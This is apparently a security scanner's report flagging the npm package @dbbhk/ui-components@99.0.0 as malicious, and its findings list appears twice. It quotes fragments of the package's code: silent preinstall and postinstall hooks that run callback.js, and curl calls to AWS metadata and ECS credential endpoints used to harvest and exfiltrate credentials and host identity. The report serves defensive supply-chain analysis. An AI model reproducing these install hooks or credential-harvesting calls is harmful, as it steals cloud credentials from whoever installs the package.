@dbbhk/ui-components@99.0.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

@dbbhk/ui-components@99.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.preinstall = node callback.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

callback.jsView file

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L5

5Trigger-reachable chain: scripts.preinstall -> callback.js L5: */ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L5

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs');

High

Child Process

Package source references child process execution.

callback.jsView on unpkg · L5

74function getECSCredentials() { L75: if (!process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) return null; L76: L77: const uri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; L78: const creds = exec(`curl -s --connect-timeout 2 http://169.254.170.2${uri}`); L79:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

callback.jsView on unpkg · L74

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L5

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

callback.jsView on unpkg · L5

5Trigger-reachable credential exfiltration chain: scripts.preinstall -> callback.js L5: */ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L5

Source & flagged code

10 flagged

package.jsonView file

•scripts.preinstall = node callback.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node callback.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

callback.jsView file

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L5

5Trigger-reachable chain: scripts.preinstall -> callback.js L5: */ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L5

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs');

High

Child Process

Package source references child process execution.

callback.jsView on unpkg · L5

74function getECSCredentials() { L75: if (!process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) return null; L76: L77: const uri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; L78: const creds = exec(`curl -s --connect-timeout 2 http://169.254.170.2${uri}`); L79:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

callback.jsView on unpkg · L74

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L5

5*/ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

callback.jsView on unpkg · L5

5Trigger-reachable credential exfiltration chain: scripts.preinstall -> callback.js L5: */ L6: const { execSync } = require('child_process'); L7: const fs = require('fs'); L8: const os = require('os'); L9: const https = require('https'); L10: ... L39: // Instance ID L40: const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id'); L41: if (instanceId && !instanceId.includes('404')) { ... L57: try { L58: const parsed = JSON.parse(creds); L59: result.credentials = {

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L5